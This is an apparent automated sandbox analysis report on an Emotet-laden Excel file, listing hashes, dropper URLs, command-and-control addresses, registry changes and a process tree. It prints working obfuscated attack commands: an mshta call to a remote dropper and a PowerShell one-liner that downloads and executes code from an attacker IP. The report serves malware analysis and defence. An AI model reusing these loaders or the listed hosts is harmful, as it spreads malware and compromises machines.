emotet | 64b46ace0fd6708a2c0969a47fb2b1e7d6b360eef08f8afab735abbe5c3cc948

Analysis

max time kernel
55s
max time network
45s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 02:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2022-1-28-ad7f6746586cdff93486e5f63c1912f7.xls
Size

47KB
MD5

ad7f6746586cdff93486e5f63c1912f7
SHA1

f1bb883168498f4abdae014221fd632d8a9605a0
SHA256

64b46ace0fd6708a2c0969a47fb2b1e7d6b360eef08f8afab735abbe5c3cc948
SHA512

5901ac7e7e7b0f5bd9da1ac9cf93ac2f377109d9ff4828f8b3585c92949468b3d80325497440d6568fefdf871dd854490e7472f342f7a3e8e34acbcf3b320fe0

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	384	1892	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 568 mshta.exe
5 1300 powershell.exe
7 1300 powershell.exe
9 1148 rundll32.exe
11 1148 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1416 rundll32.exe
1416 rundll32.exe
1416 rundll32.exe
1416 rundll32.exe
932 rundll32.exe
932 rundll32.exe
932 rundll32.exe
932 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Hemlsowxmm\hlqysaspbzgi.vad rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	568	mshta.exe
5	1300	powershell.exe
7	1300	powershell.exe
9	1148	rundll32.exe
11	1148	rundll32.exe

pid	process
1416	rundll32.exe
1416	rundll32.exe
1416	rundll32.exe
1416	rundll32.exe
932	rundll32.exe
932	rundll32.exe
932	rundll32.exe
932	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Hemlsowxmm\hlqysaspbzgi.vad	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1892 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1300 powershell.exe
1148 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1300 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1892 EXCEL.EXE
1892 EXCEL.EXE
1892 EXCEL.EXE

pid	process
1892	EXCEL.EXE

pid	process
1300	powershell.exe
1148	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1300	powershell.exe

pid	process
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1892 wrote to memory of 384	1892	EXCEL.EXE	CMD.EXE
PID 1892 wrote to memory of 384	1892	EXCEL.EXE	CMD.EXE
PID 1892 wrote to memory of 384	1892	EXCEL.EXE	CMD.EXE
PID 1892 wrote to memory of 384	1892	EXCEL.EXE	CMD.EXE
PID 384 wrote to memory of 568	384	CMD.EXE	mshta.exe
PID 384 wrote to memory of 568	384	CMD.EXE	mshta.exe
PID 384 wrote to memory of 568	384	CMD.EXE	mshta.exe
PID 384 wrote to memory of 568	384	CMD.EXE	mshta.exe
PID 568 wrote to memory of 1300	568	mshta.exe	powershell.exe
PID 568 wrote to memory of 1300	568	mshta.exe	powershell.exe
PID 568 wrote to memory of 1300	568	mshta.exe	powershell.exe
PID 568 wrote to memory of 1300	568	mshta.exe	powershell.exe
PID 1300 wrote to memory of 896	1300	powershell.exe	cmd.exe
PID 1300 wrote to memory of 896	1300	powershell.exe	cmd.exe
PID 1300 wrote to memory of 896	1300	powershell.exe	cmd.exe
PID 1300 wrote to memory of 896	1300	powershell.exe	cmd.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 896 wrote to memory of 1416	896	cmd.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 1416 wrote to memory of 932	1416	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 960	932	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1148	960	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-ad7f6746586cdff93486e5f63c1912f7.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:384

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1416

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:932

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hemlsowxmm\hlqysaspbzgi.vad",JvVpka
8⤵
- Suspicious use of WriteProcessMemory
PID:960

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hemlsowxmm\hlqysaspbzgi.vad",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1148

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
